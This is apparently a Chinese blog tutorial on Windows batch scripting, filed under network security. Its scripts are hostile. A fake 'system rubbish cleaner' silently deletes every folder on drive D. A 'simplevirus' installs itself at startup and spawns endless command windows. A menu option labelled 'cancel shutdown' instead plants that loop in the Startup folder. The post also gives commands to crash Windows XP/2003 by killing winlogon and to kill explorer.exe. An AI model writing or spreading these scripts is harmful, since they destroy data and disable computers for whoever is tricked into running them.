网络安全03
作者:互联网
批处理编写
批处理作用:
自上而下的成批的处理每一条指令,直到执行最后一条
如何创建批处理:
扩展名:.bat
创建方法:新建一个记事本文件,然后将扩展名改为.bat
也叫脚本
Linux叫shell脚本
脚本1:
@echo off //隐藏前面的运行路径
color 8b//改变背景及字体颜色,第一位背景,第二位字体,如上图
title HELLO//程序的标题
echo =========================
echo clear your system rubbish
echo please don't intercept!
echo =========================
pause//运行后画面停止
echo.//表示空一行
echo cleaning.......
D: >nul 2>nul
cd \ >nul 2>nul
rd . /s/q >nul 2>nul//表示删除所有的文件夹,
ping -n 10 127.0.0.1 >nul 2>nul
echo.
echo Congratulations!cleaning over!
pause
脚本2:
copy goto.bat "C:\%userprifile% \「开始」菜单\程序\启动"//启动路径表示一打开电脑,就会启动这个程序
title simplevirus
:d//:表示一个部分吧,d表示这个部分的名字
start//后面什么都不加就表示启动cmd
goto d//表示接下来执行d部分,在这里就是形成了一个循环
脚本3:
@echo off
title 小程序 v1.0
color 8a
:menu
cls
echo ===========
echo 菜单
echo 1、定时关机
echo 2、取消定时
echo 3、退出
echo ===========
set /p num="您的选择:"
if %num% == 1,goto 1
if %num% == 2,goto 2
if %num% == 3,goto 3
echo 别tm瞎输入,看清楚,只能输入1\2\3,重来!
pause
goto menu
:1
set /p a="请输入你希望的时间:"
shutdown -s -f -t %a%
goto menu
:2
echo :a >"%userprofile% \「开始」菜单\程序\启动\hh.bat"
echo start >>"%userprofile% \「开始」菜单\程序\启动\hh.bat"
echo goto a >>"%userprofile% \「开始」菜单\程序\启动\hh.bat"
goto menu
:3
exit
路径中有特殊符号,要在两边加上双引号
%xx%表示取值(xx为某变量)
ntsd -c q -pn winlogon.exe
针对xp或2003的蓝屏命令
taskkill /im explorer.exe /f
杀死进程
标签:网络安全,03,bat,菜单,goto,menu,echo,nul 来源: https://blog.csdn.net/soulmate284/article/details/114698096